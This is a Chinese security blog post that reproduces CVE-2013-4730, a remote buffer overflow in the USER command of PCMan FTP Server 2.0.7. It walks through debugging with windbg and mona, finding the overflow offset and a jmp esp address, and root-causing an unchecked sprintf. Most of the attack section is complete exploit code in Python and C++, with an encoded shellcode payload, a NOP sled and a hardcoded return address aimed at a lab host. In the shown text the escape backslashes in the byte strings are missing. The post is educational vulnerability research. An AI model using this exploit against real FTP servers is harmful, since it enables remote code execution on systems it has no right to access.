PCMan's FTP 漏洞(CVE-2013-4730)详细复现调试过程与exp构造

阅读量250135

|评论2

|

发布时间 : 2019-05-15 15:02:19

 

1. 漏洞简介

软件名称

PCMAN ftp

软件版本

server 2.0.7

漏洞类型

远程缓冲区溢出

漏洞触发点

未对user命令做长度限制检查

漏洞编号

CVE-2013-4730

其他信息:

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2013-4730_A

 

2. 漏洞详细复现

1. 环境搭建

1. 准备工作:

  1. 自动生成有序数,并能确定异常点的偏移可以使用windbg插件Mona2
  2. Mona2 需要Python2.7
  3. windbg(用来定位jmp esp地址)
  4. x64dbg
  5. vs写测试代码和shellcode

2. 环境配置:

  1. 虚拟机win7 sp1
  2. wdk 自带windbg
  3. python2.7
  4. vc++ 2008运行库
  5. 安装windbg的python 插件pykd
  6. 复制mona.py和windbglib.py到windbg同目录
  7. 运行windbg随便调试一个程序进程环境测试
.load pykd.pyd 加载pykd
!py mona 测试mona
.reload /f 检查windbg符号路径是否正常

mona安装成功截图

2. vs2015写测试代码

首先我们要能与FTP进行交互才能触发漏洞,只要我们编写的代码符合RFC959标准,就可以与任何一个FTP服务器进行交互,有兴趣的可以去阅读RFC959文档。

#define _WINSOCK_DEPRECATED_NO_WARNINGS
#include <stdio.h>
#include <WinSock2.h>
#include <windows.h>
#pragma comment(lib,"ws2_32.lib")

int main()
{
    // 1. -初始化WinSocket服务
    WSADATA stWSA;
    WSAStartup(0x0202, &stWSA);
    // 2. 创建一个原始套接字
    SOCKET stListen = INVALID_SOCKET;
    stListen = WSASocketA(AF_INET, SOCK_STREAM, IPPROTO_TCP, 0, 0, 0);
    // 3. 在任意地址绑定端口21
    SOCKADDR_IN stService;
    stService.sin_addr.s_addr = inet_addr("192.168.43.82");
    stService.sin_port = htons(21);
    stService.sin_family = AF_INET;
    connect(stListen, (SOCKADDR*)&stService, sizeof(stService));
    // 4. 接收返回信息缓冲区
    char szRecv[0x100] = { 0 };
    // 5. 登陆请求
    char *pCompand = "USER SUN";


    recv(stListen, szRecv, sizeof(szRecv), 0);
    send(stListen, pCompand, strlen(pCompand), 0);
    // 6. 接收信息
    recv(stListen, szRecv, sizeof(szRecv), 0);
    // 7. 清理环境
    closesocket(stListen);
    WSACleanup();
    return 0;
}

图中可以看到测试代码连接成功

3. poc构造

利用mona构造长字符串

!py mona pc 3000

在上述的测试代码中将用户名 USER SUN 改为刚生成的这个长字符串。看程序能不能崩溃,如果崩溃了,说明测试成功

4. 复现

  1. 打开pcman-ftp软件
  2. 打开windbg并附加pcman-ftp进程
  3. windbg加载pykd.pyd
    .load pykd.pyd
  4. vs发送测试包,然后看到windbg信息

查看栈区发现已经被我们的数据覆盖了

  1. mona查看溢出点
    !py mona po 发生溢出的eip

我们看到这里的偏移为2007

5. exploit构造

1. 找jmp esp

首先找本模块的jmp esp看有没有能用的

!py mona.py jmp -r esp


然后找系统模块的jmp esp,一般都会用系统模块 因为某系特点的系统模块没有开随机基址

!py mona jmp -r esp -m kernel32.dll

找到了四个,并且可以用


我们这里用 0x7654fbf7

2. shellcode组合字符串

  1. USER 也就是用户名
  2. 无意义的字符串,大小为2002个
  3. jmp esp
  4. nop填充
  5. shellcode

3. exploit源码

python版本

#!usr/bin/python
# -*- coding: utf-8 -*-

import socket

Cmd = b"USER "
Fill = b"x41" * 2002
Jmp = b"xf7xfbx54x76"
Nop = b"x90" * 50
ShellCode = b"x33xC0xE8xFFxFFxFFxFFxC3x58x8Dx70x1Bx33xC9x66xB9x11x01x8Ax04x0Ex34x07x88x04x0ExE2xF6x80x34x0Ex07xFFxE6"
b"x67x84xEBx27xECx4Ax40x62x73x57x75x68x64x46x63x63" 
b"x75x62x74x74x07x4Bx68x66x63x4Bx6Ex65x75x66x75x7E" 
b"x42x7Fx46x07x52x74x62x75x34x35x29x63x6Bx6Bx07x4A" 
b"x62x74x74x66x60x62x45x68x7Fx46x07x42x7Fx6Ex73x57" 
b"x75x68x64x62x74x74x07x4Fx62x6Bx6Bx68x27x50x68x75" 
b"x63x26x07xEFx07x07x07x07x5Cx63x8Cx32x37x07x07x07" 
b"x8Cx71x0Bx8Cx71x1Bx8Cx31x8Cx71x0Fx8Ex72xF7x8CxD1" 
b"x8Cx45x3Bx8Ax03x05x8Cx52xF7x8Cx47x7Fx8Ax03x17x8C" 
b"x4Fx1Bx8Ax0Bx16x8Ex4AxFBx8Cx4Fx27x8Ax0Bx16x8Ex4A" 
b"xFFx8Cx4Fx23x8Ax0Bx16x8Ex4AxF3x34xC7x8Cx52xF7xEC" 
b"x06x47x8Cx7AxFFx8Cx3Bx80x8Cx52xF7x8Ax3Bx3Dx8Ax74" 
b"xA9xBEx09x07x07x07xFBxF4xA1x72xE1x8Cx52xF3x34xCE" 
b"x61x8Cx0Bx45x8Cx52xFBx8Cx33x8Dx8Cx7AxF7x8Ax03x30" 
b"x8Ex42xEBx8Ax44xBAx57xF8x72xF7xF8x52xEBx8Ex42xEF" 
b"x8Ax54xCBx34xCEx56x56x55xF8xD7x8Ex42xE3x8Ax44xD0" 
b"x57xF8x72xE3xF8x52xEBx34xCEx56x8Ax7CxE8x50x50x56" 
b"xF8xD7x8Ax44xE4x57xF8x72xF7xF8x52xEBx34xCEx56xF8" 
b"xD7"

def main():
    print("创建SOCKET")
    net_sock = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    print("连接")
    port = 21
  net_sock.connect(('192.168.43.82',port))
    print(net_sock.recv(1024).decode('utf-8'))
    data = Cmd + Fill + Jmp + Nop + ShellCode
    net_sock.send(data)
    print(net_sock.recv(1024).decode('utf-8'))
    net_sock.close()
if __name__ == '__main__':
    main()

c++版本

#define _WINSOCK_DEPRECATED_NO_WARNINGS

#include <stdio.h>
#include <WinSock2.h>
#include <windows.h>

#pragma comment(lib,"ws2_32.lib")


char bShellcode[] = "x33xC0xE8xFFxFFxFFxFFxC3x58x8Dx70x1Bx33xC9x66xB9x11x01x8Ax04x0Ex34x07x88x04x0ExE2xF6x80x34x0Ex07xFFxE6"
"x67x84xEBx27xECx4Ax40x62x73x57x75x68x64x46x63x63" 
"x75x62x74x74x07x4Bx68x66x63x4Bx6Ex65x75x66x75x7E" 
"x42x7Fx46x07x52x74x62x75x34x35x29x63x6Bx6Bx07x4A" 
"x62x74x74x66x60x62x45x68x7Fx46x07x42x7Fx6Ex73x57" 
"x75x68x64x62x74x74x07x4Fx62x6Bx6Bx68x27x50x68x75" 
"x63x26x07xEFx07x07x07x07x5Cx63x8Cx32x37x07x07x07" 
"x8Cx71x0Bx8Cx71x1Bx8Cx31x8Cx71x0Fx8Ex72xF7x8CxD1" 
"x8Cx45x3Bx8Ax03x05x8Cx52xF7x8Cx47x7Fx8Ax03x17x8C" 
"x4Fx1Bx8Ax0Bx16x8Ex4AxFBx8Cx4Fx27x8Ax0Bx16x8Ex4A" 
"xFFx8Cx4Fx23x8Ax0Bx16x8Ex4AxF3x34xC7x8Cx52xF7xEC" 
"x06x47x8Cx7AxFFx8Cx3Bx80x8Cx52xF7x8Ax3Bx3Dx8Ax74" 
"xA9xBEx09x07x07x07xFBxF4xA1x72xE1x8Cx52xF3x34xCE" 
"x61x8Cx0Bx45x8Cx52xFBx8Cx33x8Dx8Cx7AxF7x8Ax03x30" 
"x8Ex42xEBx8Ax44xBAx57xF8x72xF7xF8x52xEBx8Ex42xEF" 
"x8Ax54xCBx34xCEx56x56x55xF8xD7x8Ex42xE3x8Ax44xD0" 
"x57xF8x72xE3xF8x52xEBx34xCEx56x8Ax7CxE8x50x50x56" 
"xF8xD7x8Ax44xE4x57xF8x72xF7xF8x52xEBx34xCEx56xF8" 
"xD7";


int main()
{

    //构造exp
    char cExpolit[5000] = { 0x00 };
    char cFill[5000] = { 0x00 };
    char cNop[51] = { 0x00 };
    char cRetAddr[5] = "xf7xfbx54x76"; // 0x7654fbf7
    memset(cFill, 'A', 2002); // 别忘了USER 还占5个字节
    memset(cNop, 'x90', 50);
    sprintf_s(cExpolit, "%s%s%s%s%s%s","USER ", cFill, cRetAddr, cNop, bShellcode, "rn");



    // 1. -初始化WinSocket服务
    WSADATA stWSA;
    WSAStartup(0x0202, &stWSA);
    // 2. 创建一个原始套接字
    SOCKET stListen = INVALID_SOCKET;
    stListen = WSASocketA(AF_INET, SOCK_STREAM, IPPROTO_TCP, 0, 0, 0);
    // 3. 在任意地址绑定端口21
    SOCKADDR_IN stService;
    stService.sin_addr.s_addr = inet_addr("192.168.43.82");
    stService.sin_port = htons(21);
    stService.sin_family = AF_INET;
    connect(stListen, (SOCKADDR*)&stService, sizeof(stService));
    // 4. 接收返回信息缓冲区
    char szRecv[0x100] = { 0 };
    // 5. 登陆请求
    recv(stListen, szRecv, sizeof(szRecv), 0);
    send(stListen, cExpolit, strlen(cExpolit), 0);
    // 6. 接收信息
    recv(stListen, szRecv, sizeof(szRecv), 0);
    // 7. 清理环境
    closesocket(stListen);
    WSACleanup();
    system("pause");
    return 0;
}

攻击成功


3. 漏洞分析

现在我们来分析一下这个漏洞到底是如何生成的。

这里我们用到windbg的动态调试和IDA的静态调试

再用刚才的poc,寻找没有覆盖溢出点的地方,然后我们在这个地方下硬件写入断点,然后观察堆栈以及数据覆盖变化

  1. 找能下断的地方
  2. 硬件写入断点
    ba w4 0012ed60 ".if(poi(0012ed60 )=0x6f43366f ){}.else{gc}"

断下了

  1. 我们通过widbg和IDA栈回溯看看到底调用的哪个地方造成了数据覆盖,回溯了好几层,需要耐心观察最后我们发现这里比较可疑
  2. 验证,我们重新运行然后widbg在sprintf下断点 bp 00403EE6 并且观察堆栈,发现前后堆栈数据被poc的数据覆盖

sprintf运行了好几次,最后一次是因为复制的字符串太长导致返回值被覆盖,从而造成缓冲区溢出,

造成这个种结果是因为在拼接最后一个字符串的时候没有做长度限制,导致缓冲区溢出

本文由爱吃花生原创发布

转载,请参考转载声明,注明出处: https://www.anquanke.com/post/id/177939

安全客 - 有思想的安全新媒体

分享到:微信
+13赞
收藏
爱吃花生
分享到:微信

发表评论

内容需知
  • 投稿须知
  • 转载须知
  • 官网QQ群8:819797106
  • 官网QQ群3:830462644(已满)
  • 官网QQ群2:814450983(已满)
  • 官网QQ群1:702511263(已满)
合作单位
  • 安全客
  • 安全客
Copyright © 北京奇虎科技有限公司 360网络攻防实验室 安全客 All Rights Reserved 京ICP备08010314号-66